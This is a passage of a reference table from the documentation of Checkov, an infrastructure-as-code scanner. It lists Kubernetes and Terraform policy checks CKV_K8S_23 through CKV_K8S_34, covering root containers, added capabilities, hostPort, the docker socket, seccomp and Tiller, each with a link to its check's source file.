[ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 6908 | CKV_K8S_23 | resource | CronJob | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6909 | CKV_K8S_23 | resource | DaemonSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6910 | CKV_K8S_23 | resource | Deployment | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6911 | CKV_K8S_23 | resource | Job | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6912 | CKV_K8S_23 | resource | Pod | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6913 | CKV_K8S_23 | resource | ReplicaSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6914 | CKV_K8S_23 | resource | ReplicationController | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6915 | CKV_K8S_23 | resource | StatefulSet | Minimize the admission of root containers | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py) | | 6916 | CKV_K8S_24 | resource | PodSecurityPolicy | Do not allow containers with added capability | Kubernetes | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py) | | 6917 | CKV_K8S_24 | resource | kubernetes_pod_security_policy | Do not allow containers with added capability | Terraform | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py) | | 6918 | CKV_K8S_25 | resource | CronJob | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6919 | CKV_K8S_25 | resource | DaemonSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6920 | CKV_K8S_25 | resource | Deployment | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6921 | CKV_K8S_25 | resource | DeploymentConfig | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6922 | CKV_K8S_25 | resource | Job | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6923 | CKV_K8S_25 | resource | Pod | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6924 | CKV_K8S_25 | resource | PodTemplate | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6925 | CKV_K8S_25 | resource | ReplicaSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6926 | CKV_K8S_25 | resource | ReplicationController | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6927 | CKV_K8S_25 | resource | StatefulSet | Minimize the admission of containers with added capability | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py) | | 6928 | CKV_K8S_25 | resource | kubernetes_deployment | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 6929 | CKV_K8S_25 | resource | kubernetes_deployment_v1 | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 6930 | CKV_K8S_25 | resource | kubernetes_pod | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 6931 | CKV_K8S_25 | resource | kubernetes_pod_v1 | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 6932 | CKV_K8S_26 | resource | CronJob | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6933 | CKV_K8S_26 | resource | DaemonSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6934 | CKV_K8S_26 | resource | Deployment | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6935 | CKV_K8S_26 | resource | DeploymentConfig | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6936 | CKV_K8S_26 | resource | Job | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6937 | CKV_K8S_26 | resource | Pod | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6938 | CKV_K8S_26 | resource | PodTemplate | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6939 | CKV_K8S_26 | resource | ReplicaSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6940 | CKV_K8S_26 | resource | ReplicationController | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6941 | CKV_K8S_26 | resource | StatefulSet | Do not specify hostPort unless absolutely necessary | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py) | | 6942 | CKV_K8S_26 | resource | kubernetes_deployment | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 6943 | CKV_K8S_26 | resource | kubernetes_deployment_v1 | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 6944 | CKV_K8S_26 | resource | kubernetes_pod | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 6945 | CKV_K8S_26 | resource | kubernetes_pod_v1 | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 6946 | CKV_K8S_27 | resource | CronJob | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6947 | CKV_K8S_27 | resource | DaemonSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6948 | CKV_K8S_27 | resource | Deployment | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6949 | CKV_K8S_27 | resource | Job | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6950 | CKV_K8S_27 | resource | Pod | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6951 | CKV_K8S_27 | resource | ReplicaSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6952 | CKV_K8S_27 | resource | ReplicationController | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6953 | CKV_K8S_27 | resource | StatefulSet | Do not expose the docker daemon socket to containers | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py) | | 6954 | CKV_K8S_27 | resource | kubernetes_daemon_set_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6955 | CKV_K8S_27 | resource | kubernetes_daemonset | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6956 | CKV_K8S_27 | resource | kubernetes_deployment | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6957 | CKV_K8S_27 | resource | kubernetes_deployment_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6958 | CKV_K8S_27 | resource | kubernetes_pod | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6959 | CKV_K8S_27 | resource | kubernetes_pod_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 6960 | CKV_K8S_28 | resource | CronJob | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6961 | CKV_K8S_28 | resource | DaemonSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6962 | CKV_K8S_28 | resource | Deployment | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6963 | CKV_K8S_28 | resource | DeploymentConfig | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6964 | CKV_K8S_28 | resource | Job | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6965 | CKV_K8S_28 | resource | Pod | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6966 | CKV_K8S_28 | resource | PodTemplate | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6967 | CKV_K8S_28 | resource | ReplicaSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6968 | CKV_K8S_28 | resource | ReplicationController | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6969 | CKV_K8S_28 | resource | StatefulSet | Minimize the admission of containers with the NET_RAW capability | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py) | | 6970 | CKV_K8S_28 | resource | kubernetes_deployment | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 6971 | CKV_K8S_28 | resource | kubernetes_deployment_v1 | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 6972 | CKV_K8S_28 | resource | kubernetes_pod | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 6973 | CKV_K8S_28 | resource | kubernetes_pod_v1 | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 6974 | CKV_K8S_29 | resource | CronJob | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6975 | CKV_K8S_29 | resource | DaemonSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6976 | CKV_K8S_29 | resource | Deployment | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6977 | CKV_K8S_29 | resource | Job | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6978 | CKV_K8S_29 | resource | Pod | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6979 | CKV_K8S_29 | resource | ReplicaSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6980 | CKV_K8S_29 | resource | ReplicationController | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6981 | CKV_K8S_29 | resource | StatefulSet | Apply security context to your pods and containers | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py) | | 6982 | CKV_K8S_29 | resource | kubernetes_daemon_set_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6983 | CKV_K8S_29 | resource | kubernetes_daemonset | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6984 | CKV_K8S_29 | resource | kubernetes_deployment | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6985 | CKV_K8S_29 | resource | kubernetes_deployment_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6986 | CKV_K8S_29 | resource | kubernetes_pod | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6987 | CKV_K8S_29 | resource | kubernetes_pod_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 6988 | CKV_K8S_30 | resource | CronJob | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6989 | CKV_K8S_30 | resource | DaemonSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6990 | CKV_K8S_30 | resource | Deployment | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6991 | CKV_K8S_30 | resource | DeploymentConfig | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6992 | CKV_K8S_30 | resource | Job | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6993 | CKV_K8S_30 | resource | Pod | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6994 | CKV_K8S_30 | resource | PodTemplate | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6995 | CKV_K8S_30 | resource | ReplicaSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6996 | CKV_K8S_30 | resource | ReplicationController | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6997 | CKV_K8S_30 | resource | StatefulSet | Apply security context to your containers | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py) | | 6998 | CKV_K8S_30 | resource | kubernetes_deployment | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 6999 | CKV_K8S_30 | resource | kubernetes_deployment_v1 | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 7000 | CKV_K8S_30 | resource | kubernetes_pod | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 7001 | CKV_K8S_30 | resource | kubernetes_pod_v1 | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 7002 | CKV_K8S_31 | resource | CronJob | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7003 | CKV_K8S_31 | resource | DaemonSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7004 | CKV_K8S_31 | resource | Deployment | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7005 | CKV_K8S_31 | resource | Job | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7006 | CKV_K8S_31 | resource | Pod | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7007 | CKV_K8S_31 | resource | ReplicaSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7008 | CKV_K8S_31 | resource | ReplicationController | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7009 | CKV_K8S_31 | resource | StatefulSet | Ensure that the seccomp profile is set to docker/default or runtime/default | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py) | | 7010 | CKV_K8S_32 | resource | PodSecurityPolicy | Ensure default seccomp profile set to docker/default or runtime/default | Kubernetes | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SeccompPSP.py) | | 7011 | CKV_K8S_32 | resource | kubernetes_pod_security_policy | Ensure default seccomp profile set to docker/default or runtime/default | Terraform | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SeccompPSP.py) | | 7012 | CKV_K8S_33 | resource | CronJob | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7013 | CKV_K8S_33 | resource | DaemonSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7014 | CKV_K8S_33 | resource | Deployment | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7015 | CKV_K8S_33 | resource | DeploymentConfig | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7016 | CKV_K8S_33 | resource | Job | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7017 | CKV_K8S_33 | resource | Pod | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7018 | CKV_K8S_33 | resource | PodTemplate | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7019 | CKV_K8S_33 | resource | ReplicaSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7020 | CKV_K8S_33 | resource | ReplicationController | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7021 | CKV_K8S_33 | resource | StatefulSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 7022 | CKV_K8S_34 | resource | CronJob | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7023 | CKV_K8S_34 | resource | DaemonSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7024 | CKV_K8S_34 | resource | Deployment | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7025 | CKV_K8S_34 | resource | DeploymentConfig | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7026 | CKV_K8S_34 | resource | Job | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7027 | CKV_K8S_34 | resource | Pod | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7028 | CKV_K8S_34 | resource | PodTemplate | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7029 | CKV_K8S_34 | resource | ReplicaSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7030 | CKV_K8S_34 | resource | ReplicationController | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7031 | CKV_K8S_34 | resource | StatefulSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 7032 | CKV_K8S_34 | resource | kubernetes_deployment | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 7033 | CKV_K8S_34 | resource | kubernetes_deployment_v1 | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 7034 | CKV_K8S_34 | resource | kubernetes_pod | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 7035 | 